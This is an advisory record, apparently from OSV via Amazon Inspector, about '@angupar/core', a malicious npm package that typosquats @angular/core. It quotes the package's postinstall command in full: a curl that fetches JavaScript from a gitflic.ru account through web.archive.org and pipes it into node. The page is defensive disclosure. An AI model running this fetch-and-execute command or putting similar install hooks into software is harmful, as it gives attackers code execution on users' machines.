Malicious code in @angupar/core (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84) Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a third-party user account (`hellscripter` on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. `npm install @angupar/core` therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.

Source published

5 Oct 2026 03:32:05 UTC

Source modified

5 Oct 2026 04:15:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.